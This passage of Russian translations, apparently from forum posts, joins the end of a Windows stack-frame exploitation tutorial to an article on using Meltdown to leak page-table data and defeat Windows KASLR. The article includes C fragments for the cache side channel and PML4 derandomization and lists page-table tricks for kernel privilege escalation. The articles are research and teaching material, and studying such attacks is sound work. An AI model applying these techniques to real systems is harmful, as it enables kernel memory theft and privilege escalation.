Посмотрите на скриншот с Immunity, который я прокомментировал соответствующим образом - просто обратите внимание на то, что сейчас в красной рамке; Я расскажу о некоторых других инструкциях в ближайшее время. Вы увидите, что указатель на argv[1] помещается в стек непосредственно перед вызовом функции foo(). Затем выполняется инструкция CALL, и адрес возврата следующей инструкции (EIP + 4) также помещается в стек.
Если вы хотите доказать, что адрес 00332FD4 содержит 0033301C, который является указателем на argv [1], обратитесь к содержимому дампа этого адреса:
Вы увидите содержимое, написанное задом наперед как 1C303300. Позвольте мне воспользоваться этой возможностью, чтобы быстро охватить нотацию Little Endian. "Endianness" относится к порядку, в котором байты хранятся в памяти. Системы на базе Intel x86 используют нотацию Little Endian, в которой младший байт значения хранится по наименьшему адресу памяти (поэтому адрес хранится в обратном порядке). В качестве примера смотри приведенный выше снимок экрана с шестнадцатеричным дампом: адрес вверху (00332FD4) самый маленький, а адрес внизу (00333034) самый большой. Таким образом, байт в верхнем левом углу (в настоящее время занятый 1C) занимает наименьшее расположение адреса, и адреса увеличиваются при перемещении слева направо и сверху вниз. Когда вы смотрите на адрес, такой как 0033301C, младший байт - это байт (1C). Чтобы преобразовать его в нотацию с прямым порядком байтов, вы переупорядочиваете его по одному байту справа налево. Вот изображение:
Итак, argv [1] и адрес возврата теперь помещены в стек, и была вызвана функция foo(). Вот посмотрите на стек с выделенными соответствующими частями.
Обратите внимание на указатель на argv[1] по адресу 0012FF74 и прямо над ним сохраненное значение RETURN. Если вы вернетесь к предыдущему снимку экрана main(), вы заметите, что адрес RETURN 0040103F является следующей инструкцией после CALL foo(), где выполнение программы будет возобновлено после завершения foo().
Теперь давайте посмотрим на функцию foo():
Когда вызывается функция foo(), первое, что происходит - текущий базовый указатель (EBP) сохраняется в стеке с помощью инструкции PUSH EBP, чтобы после завершения функции можно было восстановить базу стека для main().
Затем регистр EBP устанавливается равным регистру ESP (через инструкцию MOV EBP, ESP), делая верх и низ стека фрейма равными. Отсюда, регистр EBP останется постоянным (на весь срок действия функции foo), а регистр ESP увеличится до более низкого адреса, когда данные будут добавлены в кадр стека функции. Вот просмотр регистров до и после, показывающий, что регистр EBP теперь равен регистр ESP.
Далее, место зарезервировано для локальной переменной c (char c [12]) с помощью следующей инструкции: SUB ESP, 10.
Вот просмотр стека после этой серии инструкций:
Обратите внимание, как вершина стека (и, как следствие, ESP) изменилась с 0012FF6C на 0012FF5C.
Давайте перейдем к вызову strcpy(), который скопирует содержимое argv 1 в пространство, которое было только что зарезервировано в стеке для переменной c. Посмотрите на функцию в отладчике. Я выделил только ту часть, которая выполняет запись в стек.
На следующих снимках экрана вы заметите, что он продолжает перебирать значение argv[1], записывая в зарезервированное пространство в стеке (сверху вниз зарезервированное пространство), пока не будет записан весь argv [1] в стек.
Прежде чем мы рассмотрим, что происходит со стеком, когда функция завершается, вот еще один пошаговый наглядный пример, который подкрепляет шаги, выполняемые при вызове функции foo().
После того, как функция strcpy() завершена и функция foo() готова к завершению, в стеке должна произойти некоторая очистка. Давайте посмотрим на стек, поскольку функция foo() готовится к завершению, и выполнение программы возвращается к main ().
Как видите, первая выполняемая инструкция - это MOV ESP, EBP, которая помещает значение регистр EBP в регистр ESP, так что теперь он указывает на 0012FF6C, и эффективно удаляет переменную c (AAAAAAAAAAA) из стека. Вершина стека теперь содержит сохраненный EBP:
Когда следующая инструкция, POP EBP, будет выполнена, она восстановит предыдущий базовый указатель стека из main() и увеличит ESP на 4. Указатель стека теперь указывает на значение RETURN, помещенное в стек непосредственно перед вызовом foo (). Когда инструкция RETN выполнена, она вернет поток выполнения программы к следующей инструкции в main() сразу после инструкции CALL foo(), как показано на снимке экрана ниже.
Функция main() выполнит свою собственную очистку, переместив указатель стека вниз по стеку (увеличив его значение на 4) и очистив стек argv[1]. Затем он очистит регистр, который использовался для хранения argv [1] (EAX) через XOR, восстановления сохраненного EBP и возврата к сохраненному обратному адресу.
Этого должно быть достаточно, чтобы понять, как создается/удаляется кадр стека функций и как локальные переменные хранятся в стеке. Если вы хотите больше примеров, я рекомендую вам ознакомиться с некоторыми другими замечательными учебниками (особенно теми, которые опубликованы Кореланом).
Заключение
Это конец первой части серии статей об эксплоитах Windows. Надеемся, что вы уже знакомы с использованием отладчика, можете узнать некоторые основные инструкции ассемблера и понять (на высоком уровне), как Windows управляет памятью, а также как работает стек. В следующем посте мы рассмотрим ту же базовую функцию foo(), чтобы представить концепцию переполнения на основе стека. Затем я сразу же напишу реальный пример использования уязвимости для реального уязвимого программного продукта.
Я надеюсь, что этот первый пост был ясным, точным и полезным. Если у вас есть какие-либо вопросы, комментарии, исправления или предложения по улучшению, не стесняйтесь оставлять мне отзывы в разделе "Комментарии".
Источник: <http://www.securitysift.com/windows-exploit-development-
part-1-basics/>
Автор перевода: yashechka
Переведено специально для портала XSS.is (c)
В этом посте объясняется, как Meltdown все еще можно использовать для получения некоторых специфических данных ядра и взлома Windows KASLR в последних версиях Windows, включая "Windows 10" 20H1, несмотря на механизм KVA Shadow, введенный для предотвращения исполнения атаки Meltdown.
В начале 2018 года, была публично представлена одна из самых известных уязвимостей в истории: Meltdown (https://meltdownattack.com/). Хотя это была уязвимость центрального процессора, большинство операционных систем, включая Windows, добавили меры по защиты от этой атаки. Несмотря на то, что эти меры для Windows были эффективны для предотвращения Meltdown, они также привели к проблеме "дизайна", которой можно злоупотреблять даже сегодня.
Обратите внимание, что с Microsoft связались по этой проблеме, и их позиция заключается в том, что защита KVA Shadow не предназначена для защиты KASLR. Они специально указали на этот проектный документ ( <https://msrc- blog.microsoft.com/2018/03/23/kva-shadow-mitigating-meltdown-on-windows/>), и в частности на эту часть документа:
"Обратите внимание, что одним из следствий этого выбора конструкции является то, что Shadow KVA не защищает от атак на ASLR ядра с использованием спекулятивных побочных каналов. Это преднамеренное решение, учитывая сложность конструкции Shadow KVA, временные рамки и реалии других проблем с побочными каналами, влияющих на те же конструкции процессора. Примечательно, что процессоры, подверженные мошеннической загрузке на кэш данных, также обычно подвержены другим атакам на их BTB (целевые буферы ветвления) и другим микроархитектурным ресурсам, которые могут позволить раскрытие макета адресного пространства ядра локальному злоумышленнику, который выполняет произвольный собственный код".
В этом посте будет рассказано, как Meltdown все еще можно использовать для получения некоторых конкретных данных ядра и взлома Windows KASLR в последних версиях Windows, включая "Windows 10" 20H1.
Атака Meltdown
Атака Meltdown состояла в дампинге данных с произвольных адресов ядра, которые можно использовать для получения конфиденциальных данных, таких как (например, учетные данные), или использовать эксплоиты ядра, чтобы сделать эксплуатацию проще и надежнее.CVE, присвоенный Meltdown, был CVE-2017-5754 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5754), который был представлен как уязвимость "Rogue Data Cache Load".
Meltdown была представлена одновременно со второй уязвимостью, обнаруженной теми же группами исследователей безопасности: Spectre. Кроме того, было обнаружено, что процессоры AMD не были затронуты Meltdown, но были затронуты Spectre.
Важно уточнить, что уязвимость Meltdown можно исправить с помощью обновления микрокода центрального процессора (не очень часто) или просто с помощью новейших моделей процессоров Intel на основе микроархитектуры "Cascade Lake" (смотри https://en.wikipedia.org/wiki/Cascade_Lake_(microarchitecture)).
Детали Meltdown - Часть 1
Эта атака возможна из-за состязания между доступом к памяти и проверкой привилегий в спекулятивном механизме выполнения, который позволяет считывать данные ядра из кода, работающего в пользовательском режиме. Обычно это невозможно из-за разрешений между памятью пользователя и ядра. Однако, Meltdown показала, что это все еще возможно, злоупотребляя побочными эффектами спекулятивных вычислений.
На очень высоком уровне, спекулятивное выполнение выполняется процессором,
когда он не знает результатов какой-либо операции (например, доступ к памяти).
Вместо того, чтобы ждать завершения операции, центральный процессор
"спекулирует" результатами и продолжает выполнение на основе этой спекуляции.
Когда результаты известны, предполагаемый код либо фиксируется (то есть его
результаты становятся видимыми), либо просто отбрасывается.
В лучшем случае центральный процессор выполнил работу заранее, а в худшем -
потратил немного вычислительной мощности вместо ожидания.
Прежде чем понять эту атаку, я (как и большинство людей) предположил, что эффекты спекулятивного выполнения были невидимы для выполняемого кода. Однако это оказалось далеко от истины ..
Чтобы понять, что мы подразумеваем под этим, давайте начнем с анализа примера, аналогичного примеру оригинальной статьи, но с использованием C вместо ассемблера:
C:Copy to clipboard
leaker_function ( unsigned __int64 pos )
{
if ( pos < array_size )
{
temp_value = array1 [ array2 [ pos ] ];
}
}
А теперь давайте предположим, что:
- pos полностью контролируется атакующим
- array_size равен 1
- array1 - массив без знака с 256 элементами
- array2 - массив без знака с 256 элементами
- temp_value это просто временная переменная для чтения array1Click to expand...
Из быстрого анализа единственный способ достичь условия что pos = 0, где позиция 0 массива array2 читается, а результат используется в качестве индекса для чтения array1. Выходные данные затем присваиваются значению temp_value.
Другими словами, любое значение pos больше 0 не достигнет кода внутри условия if.
Теперь давайте представим, что эта функция выполняется спекулятивно, где условие if предполагается истинным для произвольного значения pos:
C:Copy to clipboard
leaker_function ( unsigned __int64 pos )
{
if ( pos < array_size ) // 1, array_size = 1, but branch predictor assumes branch is taken
{
temp_value = array1 [ array2 [ pos ] ]; // if pos > 255, out-of-bounds access
}
}
В этом случае любая позиция array2 может быть прочитана, а затем загруженный байт будет использоваться как индекс для чтения одного элемента array1. Если значение pos слишком велико, его можно использовать для чтения памяти ядра относительно базового адреса array2, например:
array2 [ 0xffff8000'12345678 ]
Click to expand...
Или лучше, прочитав один байт по произвольному адресу следующим образом:
array2 [ 0xffff8000'12345678 - &array2 ]
Click to expand...
Проблема здесь в том, что этот код внутренне выполняется центральными процессором, а затем отбрасывается, потому что предположение было неверным. Таким образом, мы не можем видеть содержимое загруженного байта array2[pos], или мы можем?
Детали Meltdown - Часть 2
Вот где появляется вторая часть атаки Meltdown, в которой первая часть (уязвимость "Rogue Data Cache Load") сочетается с атакой в побочный канал кэша. Мы сказали, что невозможно увидеть результат array2[pos], но его содержимое сразу же используется как индекс в array1 [unknown]. Итак, хитрость заключается в том, чтобы определить, к какому элементу array1 мы обращались.
Хотя это может показаться на первый взгляд не очень интуитивным, но можно измерить время доступа для определенных областей памяти, таких как переменные или элементы массивов, из самого кода. Поскольку процессоры используют кеши для хранения содержимого недавно использованной памяти, а кеши значительно быстрее, чем обычная память, мы получаем возможность определить, к какому элементу обращались, наблюдая время доступа к различным строкам кеша.
Типичный способ определить, к какой строке кэша был произведен доступ, - сначала очистить все строки кэша, затем вызывать доступ к памяти жертвы, а затем синхронизировать доступ к каждой строке кэша. Линия, к которой имелся доступ жертвы, тогда произведет самое низкий значение тайминга. Этот метод обычно известен как Flush + Reload.
Мы можем очистить строки кэша для всех элементов массива измерений с помощью встроенной функции _mm_clflush:
C:Copy to clipboard
for ( i = 0 ; i < 256 ; i ++ )
{
// Invalidating cache
_mm_clflush ( &array1 [ i ] );
}
После этого, мы выполняем функцию, упомянутую выше (leaker_function), активируя спекулятивное выполнение. На последнем шаге, необходимо знать, к какому элементу массива обращались. Для этого, мы просто читаем каждый элемент array1 и измеряем время доступа, используя встроенную функцию __rdtscp.
Давайте рассмотрим пример, где pos = 0xffff8000'12345678 - &array2, что означает, что мы собираемся прочитать адрес ядра 0xffff8000'12345678:
C:Copy to clipboard
temp_value = array1 [ array2 [ 0xffff8000'12345678 - &array2 ] ];
И давайте предположим, что содержимое array2 [0xffff8000'12345678 - & array2] равно 0x41, поэтому происходит следующий доступ:
C:Copy to clipboard
temp_value = array1 [ 0x41 ];
Таким образом, когда код выполняется спекулятивно, доступ к позиции 0x41 массива1 будет осуществляться, и центральный процессора будет сохранять в кэше позицию 0x41 array1. При проверке элемента за элементом массива, время доступа для этой позиции должно быть меньше, чем для всех других позиций. Если это произойдет, мы можем предположить, что значение загруженного байта было 0x41, что означает, что содержимое адреса ядра 0xffff8000'12345678 равно 0x41.
Подводя итог, можно предпринять следующие шаги для реализации атаки Meltdown:
- Очистить кэш процессора для каждого элемента массива
- Выполнить функцию "leaker_function" так, чтобы во время выполнения доступ к памяти за пределами доступа осуществлялся спекулятивно
- Проверить время доступа для каждого элемента массива и получить лучшийClick to expand...
Конечно, это ограниченное объяснение того, как на самом деле работает атака, и нужно учитывать и другие вещи, но этого должно быть достаточно для понимания общих принципов.
Детали Meltdown - Часть 3
К этому времени, вопрос состоит в том, как мы разрешаем спекулятивное исполнение? Один из способов сделать это - создать код, который выполняет некоторые "обфусцированные" вычисления, а затем поместить его в состояние цикла. Когда центральный процессор обнаруживает этот повторяющийся код, активируется выполнение "вне очереди", которое пытается оптимизировать выполнение путем нахождения всех возможных путей выполнения, допустимых или "вероятно" допустимых. В зависимости от выбранного пути выполнения центральный процессор может заранее прочитать память.
Когда поток выполнения наконец достигает условия чтения этой памяти, время доступа должно быть быстрее, потому что он был кэширован центральным процессором ранее. Используя в качестве вдохновения PoC, расположенный здесь (https://github.com/deeptechlabs/meltdown/blob/master/src/poc.c), мы можем увидеть способ запустить спекулятор и получить утечку памяти ядра, как показано ниже:
C:Copy to clipboard
// Kernel address to be read
malicious_pos = kernel_address - &array1;
// Looping 33 times
for ( i = 0 ; i <= 33 ; i ++ )
{
// Enabling speculator
pos = ( ( i % 33 ) - 1 ) & ~0xFFFF;
pos = ( pos | ( pos >> 16 ) );
pos = pos & malicious_pos;
// Leaking data when branch predictor is working
leaker_function ( pos );
}
Детали Meltdown - некоторые соображения
Очень важно сказать, что для возможности получения данных ядра из пользовательского режима с помощью этой атаки данные должны быть кэшированы центральным процессором, иначе нет никакой возможности что-либо получить. По этой причине, злоумышленник должен найти способ кеширования целевых данных, вызывая API ядра или просто вызывая исключения, но следя за тем, чтобы эти данные постоянно использовались процессором.
Еще одна важная вещь: процессор обычно использует строку кэша размером 64 байта (64-байтовый блок кэша), что означает, что, если мы сможем заставить процессор кэшировать содержимое адреса X ядра, будет загружена вся строка кэша, что даст нам возможность получить любой байта из этого 64-байтового диапазона, не ограничивая утечку одним байтом.
Страничные таблицы Intel
Когда AMD выпустила 64-разрядный процессор, основанный на наборе команд Intel x86, адресуемая виртуальная память была увеличена с 2^32 (4 гигабайта) до 2^48 (256 терабайт). Хотя центральный процессор работает в 64-битном режиме, только 48 бит используются для адресации виртуальной памяти (канонические адреса, где верхние 17 битов равны 0 или 1). Для этого процессор пропускает 16 бит виртуального диапазона адресов, разделяя виртуальную память на две части и помещая большую дыру в середину (неканонические адреса).
Диапазоны виртуальной памяти:
- 0x00000000'00000000 ~ 0x00007FFF'FFFFFFFF (canonical)
- 0x00008000'00000000 ~ 0xFFFF7FFF'FFFFFFFF (non canonical)
- 0xFFFF8000'00000000 ~ 0xFFFFFFFF'FFFFFFFF (canonical)Click to expand...
Чтобы отобразить 48 бит виртуальной памяти, процессор увеличил уровни подкачки с 2 до 4.
От самого высокого до самого низкого уровня имена таблиц подкачки:
- PML4
- PDPT (Page Directory Pointer Table)
- PD (Страница Каталогов)
- PT (Страница Таблиц)Click to expand...
На этих четырех уровнях подкачки каждая таблица имеет 512 записей (0x200), где каждая запись занимает 8 байтов. Таким образом, размер каждой таблицы составляет 0x200 * 8 = 0x1000 (4 КБ).
Нумерация от низшего к высшему уровню:
- Каждая запись таблицы страниц (PTE) может иметь адрес 4 КБ (0x1000 байт).
- Каждая запись каталога страниц (PDE) может иметь адрес 2 МБ (0x200 * 4KB = 0x200000 байт).
- Каждая запись в таблице указателей страниц (PDPTE) может адресовать 1 ГБ (0x200 * 2MB = 0x40000000 байт).
- Каждая запись PML4 может иметь адрес 512 ГБ (0x200 * 1 ГБ = 0x8000000000 байт).Click to expand...
Наконец, если мы умножим записи PML4 на 512 ГБ, мы сможем получить полностью адресуемую виртуальную память:
0x200 * 512GB = 0x10000'00000000 (256 terabytes)
Click to expand...
На следующем рисунке показана 64-битная модель уровня подкачки:
Из обзора видно, что каждая запись на каждом уровне подкачки имеет одинаковый формат: она разделена на две части: разрешения и физический адрес (PFN), указанные в записи.
Среди наиболее важных битов защиты можно упомянуть:
- XD: eXecute Disable (бит 63) - обычно известный как бит NX (без выполнения)
- PS: Размер страницы (бит 7) - присутствует только в PDPTE и PDE
- U: Пользователь/супервизор (бит 2)
- R: Чтение/запись (бит 1)
- P: Присутствие (бит 0)Click to expand...
Где значение каждого бита следующее:
- XD: память не исполняется, когда она включена, в противном случае она исполняемая
- PS: это большая/огромная страница, в противном случае это обычная страница
- U: память доступна из режима пользователя, в противном случае это страница ядра (супервизор)
- R: память доступна только для чтения, в противном случае она также доступна для записи
- P: Память отображается, в противном случае она не отображаетсяClick to expand...
Если бит PS включен, нижние уровни подкачки игнорируются, и в зависимости от уровня, на котором он включен, размер страницы может составлять 2 МБ или 1 ГБ.
Примечание. До появления 64-разрядных процессоров Intel для 32-разрядных процессоров использовались трехуровневые системы подкачки, позволяющие обрабатывать до 64 ГБ физической памяти с помощью поддержки PAE (расширение физических адресов), где таблица PDPT находилась на самом высоком уровне.
Патч Windows Meltdown
3 января 2018 года Microsoft выпустила исправление для уязвимости Meltdown (<https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/ADV180002> ). Оно было названо KVA Shadow (<https://msrc- blog.microsoft.com/2018/03/23/kva-shadow-mitigating-meltdown-on-windows/>), которое было основано на решении KPTI (Kernel Page Table Isolation) (https://en.wikipedia.org/wiki/Kernel_page-table_isolation), реализованном в Linux. По сути, это патч состоит в том, что большинство страниц памяти ядра отключается при выполнении в пользовательском режиме, чтобы уменьшить поверхность атаки. Таким образом, атака Meltdown перестает работать, в основном потому, что данные не утекают, даже если процессор уязвим.
Защита строиться на использовании двух разных таблиц подкачки: одна для выполнения в режиме ядра и одна для выполнения в пользовательском режиме. Таблица PML4, используемая для режима ядра, заполнена, поэтому память пользователя и ядра полностью отображается. Напротив, таблица PML4, используемая для пользовательского режима, представляет собой так называемый Shadow PML4, который отображает всю пользовательскую память и только небольшую часть памяти ядра.
На скриншотах ниже мы можем видеть полную PML4 и теневую PML4, где много записей отсутствуют.
Полная таблица PML4
Теневая таблица PML4
Переход между теневой и полной таблицами подкачки выполняется в режиме ядра, когда пользовательский процесс вызывает системный вызов или просто создает исключение (например, деление на ноль, недопустимая память и так далее).
Примечание: Код, работающий на высоком уровне целостности, например приложения, запускаемые с помощью параметра "Запуск от имени администратора", не использует теневую таблицу PML4.
Windows SMEP с помощью программного обеспечения
Аппаратная поддержка SMEP (Supervisor Mode Execution Prevention) была представлена в микроархитектуре Intel Ivy Bridge (https://en.wikipedia.org/wiki/Ivy_Bridge_(microarchitecture)). По сути, эта функция была добавлена, чтобы избежать выполнения кода пользовательского пространства в режиме ядра, что часто использовалось в прошлом для эксплоитов ядра. Эта функция присутствует на большинстве современных компьютеров в настоящее время.
Несмотря на эту аппаратную защиту и использование двух разных таблиц PML4 для реализации защиты от последствий Meltdown, Microsoft решила воспользоваться этим, добавив улучшение безопасности путем внедрения SMEP с помощью программного обеспечения.
На следующем рисунке мы видим записи пользователя из полной таблицы PML4:
Глядя на красные метки, мы видим, что пользовательские записи таблицы PML4 устанавливаются с битом XD (смотри https://en.wikipedia.org/wiki/Executable_space_protection), что означает, что весь пользовательский код НЕ исполняется в режиме ядра. Таким образом, компьютеры со старыми моделями центрального процессора должны быть защищены от эксплоитов ядра, как если бы присутствовала функция SMEP. В двух словах, любой эксплоит ядра, который пытается выполнить пользовательский код, потерпит крах.
Важно уточнить, что эта аппаратная защита SMEP может быть напрямую обойдена с использованием метода, описанного в презентации "Обход SMEP Windows: U = S" (https://www.coresecurity.com/core-labs/publications/windows-smep-bypass-us) или просто отключив эту функцию из регистра CR4 (20-й бит). С программной реализацией SMEP можно использовать те же методы, но необходимо добавить дополнительный шаг, отключив бит XD в записи таблицы PML4, связанной с целевым виртуальным адресом.
PML4 в Windows до рандомизации
Как упоминалось ранее, таблица PML4 является самым высоким уровнем подкачки в 64-битных моделях памяти. В Windows эта таблица используется для разделения памяти пользователя и ядра, просто используя самые низкие записи 0x100 (256) для отображения пользовательской памяти и самые высокие записи 0x100 для отображения памяти ядра. Зная, что каждая запись PML4 может отображать 512 ГБ (0x8000000000 байт) и для режима пользователя назначено 0x100 записей, мы можем вычесть диапазон виртуальных адресов пользователя, просто выполнив следующие вычисления:
user address range: 0 ~ 0x100 * 0x8000000000
Click to expand...
Который так же, как:
user address range: 0 ~ 0x00007FFF'FFFFFFFF (0x8000'00000000 - 1)
Click to expand...
Поскольку специальная техника, используемая Windows для управления пейджингом, называемая "self-referential", которая состоит из записи таблицы PML4, указывающей на себя (указывающей на таблицу PML4, которая содержит саму запись), виртуальные адреса для всей таблицы пейджинга могут быть рассчитывается просто зная адрес таблицы PML4. В то же время адрес PML4 можно рассчитать, просто зная, какая запись PML4 использовалась ядром Windows в качестве "self-referential" после загрузки.
Ниже приведен скриншот таблицы PML4, где можно увидеть ссылку на self- referential запись
Первоначально, эта таблица всегда размещалась по одному и тому же адресу ядра, потому что запись, которая раньше делала это, находилась в фиксированной позиции таблицы, расположенной в записи 0x1ED. Исходный адрес Windows таблицы PML4 можно рассчитать, выполнив следующие вычисления:
0xFFFF0000'00000000 + ( 0x8000000000 + 0x40000000 + 0x200000 + 0x1000 ) * 0x1ED = 0xFFFFF6FB7DBED000.
Click to expand...
Адрес 0xFFFFF6FB7DBED000 использовался во всех версиях Windows, пока он не был рандомизирован.
PML4 в Windows после рандомизации
Рандомизация таблиц подкачки Windows была введена в "Windows 10" v1607 (RS1 - "Anniversary Update"), которая была выпущена в 2016 году. Так как он все еще использует технику self-referential, рандомизация была ограничена 256 позициями в таблице PML4, что означает, что таблица может быть распределена только по 256 различным адресам ядра, то есть действительно это плохая рандомизация. Как описано в предыдущем разделе, адрес таблицы PML4 можно рассчитать, зная, какая запись таблицы PML4 является self-referential.
Если мы хотим знать все возможные адреса PML4, мы можем сделать что-то вроде следующего:
C:Copy to clipboard
for ( entry = 0x100 ; entry < 0x200 ; entry ++ )
{
pml4_address = 0xFFFF000000000000 + ( 0x8000000000 + 0x40000000 + 0x200000 + 0x1000 ) * entry;
printf ( “PML4 address: %llx\n” , pml4_address );
}
Так как эта таблица была рандомизирована, и никакая Windows API не может сказать нам, где эта таблица расположена, злоупотребление таблицами подкачки эксплоитами ядра уменьшалось.
PML4 в реальных сценариях эксплуатации
Использование таблиц подкачки и злоупотребление ими при использовании эксплоитов ядра не очень популярны, скорее всего, из-за необходимости хорошего понимания системы подкачки. Действительно, использование содержимого памяти для отображения другой памяти не является тривиальной концепцией.
С другой стороны, модификации таблиц подкачки могут использоваться для создания примитивов, таких как произвольное чтение/запись ядра и даже выполнение кода ядра. Кроме того, они могут выполняться даже эксплоитами ядра, работающими на любом уровне целостности, включая Low IL. Это делает их очень мощным способом уйти от самых сложных реализаций песочницы, таких как процесс рендеринга Chrome.
Некоторые методы, основанные на злоупотреблении таблицами подкачки, перечислены ниже:
- Двойная запись : перезаписать пользовательский PDE и пользовательский PTE, указывая оба на один и тот же физический адрес, что дает нам контроль над целой PAGE TABLE из пользовательского режима, который можно использовать в качестве примитива чтения/записи!
- Огромная страница : перезаписать пользовательский PDPTE, включив бит "PS" и создав ОГРОМНУЮ СТРАНИЦУ, что дает нам возможность считывать/записывать 1 ГБ последовательной физической памяти, начиная с физического адреса, заданного в записи PDPT.
Важно уточнить, что эта функция "огромной страницы" уже некоторое время присутствует в процессорах, но мы все еще можем найти компьютеры, которые ее не поддерживают.
- Большая страница : перезаписать пользовательский PDE, включив бит "PS" и создав БОЛЬШУЮ СТРАНИЦУ, что дает нам возможность чтения/записи 2 МБ последовательной физической памяти, начиная с физического адреса, заданного в записи PDPT.
Хотя техника не такая мощная, как "Огромная страница", она может быть полезна в некоторых сценариях, когда у нас есть некоторая информация о содержимом физической памяти, которая должна отображаться, например, при создании большой страницы с использованием физического адреса NULL (номер PFN 0) и [чтение или запись содержимого кучи HAL](https://labs.bluefrostsecurity.de/blog/2017/05/11/windows-10-hals-heap- extinction-of-the-halpinterruptcontroller-table-exploitation-technique/).
- Целевая страница : перезаписать пользовательский PTE, задав произвольный физический адрес. Это наименее распространенный сценарий, но это самый простой вариант, если вы точно знаете, по какому физическому адресу отображаются данные, которые вы хотите прочитать или записать.
- Самостоятельная ссылка : Создание self-referential entry на некоторых из четырех уровней подкачки. Если мы знаем физический адрес одной таблицы подкачки пользователя, мы могли бы перезаписать запись, указывающую на себя, которая обеспечивает примитив чтения/записи, манипулируя этой таблицей из пользовательского режима, подобно методике "двойной записи", описанной выше.
- Обход SMEP : перезаписать пользовательский PTE, отключив бит "U", преобразовав наш пользовательский код в код ядра.
Click to expand...
В зависимости от метода, упомянутого выше, может потребоваться включить только несколько битов для создания правильной записи в таблице подкачки, что означает, что это действительно полезно для большинства условий write-what- where, возникающих в эксплойтах ядра.
PML4 экспозиция в Windows после исправления Meltdown
На этом этапе, необходимо сказать, что исправление Windows Meltdown имеет проблему "проектирования", когда не все данные, чувствительные к ядру, скрыты от пользовательского режима. Как упоминалось ранее, две разных таблицы PML4 используются для защиты от атаки Meltdown, которая используется процессором PML4 shadow при работе в пользовательском режиме.
И здесь возникает проблема: теневая таблица PML4 отображается в теневую память ядра, что означает, что она подвергается воздействию пользовательского режима даже при реализованном защите от Meltdown. Таким образом, и как следствие техники self-referential entry, все отображенные таблицы подкачки теневой таблицы PML4 могут быть получены с помощью атаки Meltdown!
Очень важно уточнить, что, хотя правильная настройка таблицы PML4 имеет решающее значение для работающей реализации виртуальной памяти, на самом деле нет необходимости отображать ее в виртуальной памяти или, по крайней мере, не отображать ее постоянно, а просто отображать, когда это необходимо. Ясно, что в некоторых случаях, когда пользовательская память отображается пользовательским кодом, ядру Windows приходится обновлять как теневую, так и всю PML4.
Это обновление выполняется в режиме ядра, где используется полная таблица PML4, а не теневая. Итак, поскольку теневая таблица PML4 представляет собой только блок памяти размером 4 КБ, эта таблица может отображаться в любой части пространства ядра, как и любое другое выделение памяти, без предоставления ее пользовательскому режиму.
Причина отображения таблиц подкачки в теневой таблицы PML4 не совсем ясна, за исключением проблем с производительностью между переключениями контекста между теневым и полным режимом и наоборот. На следующем снимке экрана мы можем видеть, как атака Meltdown способна сбросить первую часть таблицы PML4 в последней версии "Windows 10" (20H1), которая связана с диапазоном виртуальных адресов 0 ~ 0x380'00000000 (0 ~ 7GB):
Конечно, чтобы иметь возможность получить данных, показанных на рисунке выше, необходимо знать, где расположены таблицы подкачки.
Дерандомизация PML4 через Meltdown
В секции PML4 в Windows после рандомизации, описанном выше, мы видим, что рандомизация таблицы PML4 плохая, и она может принимать только 256 разных адресов. Кроме того, взглянув на предыдущий раздел, мы можем увидеть, что можно использовать утечку данных из таблиц подкачки с помощью атаки Meltdown.
Наконец, флаги разрешений, используемые self-referential entry, представлены значением 0x63 (Dirty, Accessed, Writable и Present), а его смещение в PML4 определяется адресом самого PML4. Таким образом, нахождение записи с этим байтом, установленным в 0x63 с правым смещением, с помощью Meltdown позволяет найти таблицу PML4. Собрав все это вместе, мы можем сделать вывод, что можно узнать, где расположена таблица PML4, просто выполнив следующий код:
C:Copy to clipboard
for ( entry = 0x100 ; entry < 0x200 ; entry ++ )
{
pml4_address = 0xFFFF000000000000 + ( 0x8000000000 + 0x40000000 + 0x200000 + 0x1000 ) * entry;
// Kernel address used to leak a single byte
if ( leak_byte_via_meltdown ( pml4_address + entry * 0x8 ) == 0x63 )
{
// PML4 found!
return ( pml4_address );
}
}
На следующем снимке экрана мы можем видеть, как адрес этой таблицы дерандомизируется с помощью Meltdown за 16 миллисекунд.
Код ликера PML4 можно скачать здесь (https://github.com/bluefrostsecurity/Meltdown-KVA-Shadow-Leak/).
Дерандомизация PML4 (выводы)
Вышеописанная дерандомизация обрекает усилия Microsoft по рандомизации таблиц подкачки, делая их снова предсказуемыми. Поскольку адрес PML4 не может быть получен путем вызова какого-либо API-интерфейса Windows, этот метод действительно полезен для любого эксплоита повышения привилегий ядра, работающего на низком или среднем уровне целостности.
Важно отметить, что до появления Meltdown еще одна техника дерандомизации PML4 была представлена на Ekoparty в лекции "Я знаю, где живет ваша страница: удаление рандомизации ядра Windows 10" (видео), которую дал Enrique Nissim (@kiqueNissim) в 2016 году.
NT утечка через Meltdown (вступление)
С появлением исправления Meltdown появилась группа новых функций NT. Эти функции были добавлены, чтобы иметь возможность обрабатывать системные вызовы и пользовательские исключения, когда эта защита включена. Все эти новые функции имеют имена, похожие на оригинальные, за исключением простого добавления к имени постфикса Shadow. Например, функция деления на нулевое исключение изначально называлась KiDivideErrorFault, а теперь — KiDivideErrorFaultShadow.
Эти функции Shadow являются просто обертками вокруг оригинальных, где
выполняется переключение контекста с теневого на полные таблицы подкачки. На
следующем снимке экрана мы видим, как загружаются полные таблицы подкачки при
установке регистра CR3:
Весь этот код был помещен в файловый раздел с именем KVASCODE, который находится в модуле ntoskrnl.exe, где размер раздела составляет 0x3000 байт (3 страницы). Поскольку для поддержания работоспособности ОС должны присутствовать системные вызовы и исключения, необходимо сопоставить их с теневой стороной, что означает, что они должны быть доступны пользовательскому режиму. Если записи таблицы подкачки могут быть прочитаны с помощью Meltdown, имеет смысл подумать, что возможно утечка местоположения, где также отображается этот теневой код.
Утечка NT через Meltdown
Как объяснялось выше, 64-разрядная модель памяти Intel использует четыре уровня таблицы подкачки, где обычно для отображения виртуальной памяти используется самый низкий уровень (ТАБЛИЦА СТРАНИЦ). Чтобы определить местонахождение теневого кода, необходимо определить, какие PTE используются для сопоставления этого раздела кода. Поскольку это исполняемый раздел, соответствующие PTE отключили бит XD, что упрощает идентификацию теневого кода.
Таким образом, используя Meltdown, который дает нам возможность читать содержимое таблиц подкачки, можно найти этот код, обработав четыре уровня подкачки, начиная с теневого PML4 и переходя на следующий более низкий уровень, когда появляется действительная запись. Если этот процесс повторяется и обнаруживаются три последовательных исполняемых PTE, это означает, что был найден теневой код. Используя Meltdown, это можно сделать, выполнив следующие шаги:
C:Copy to clipboard
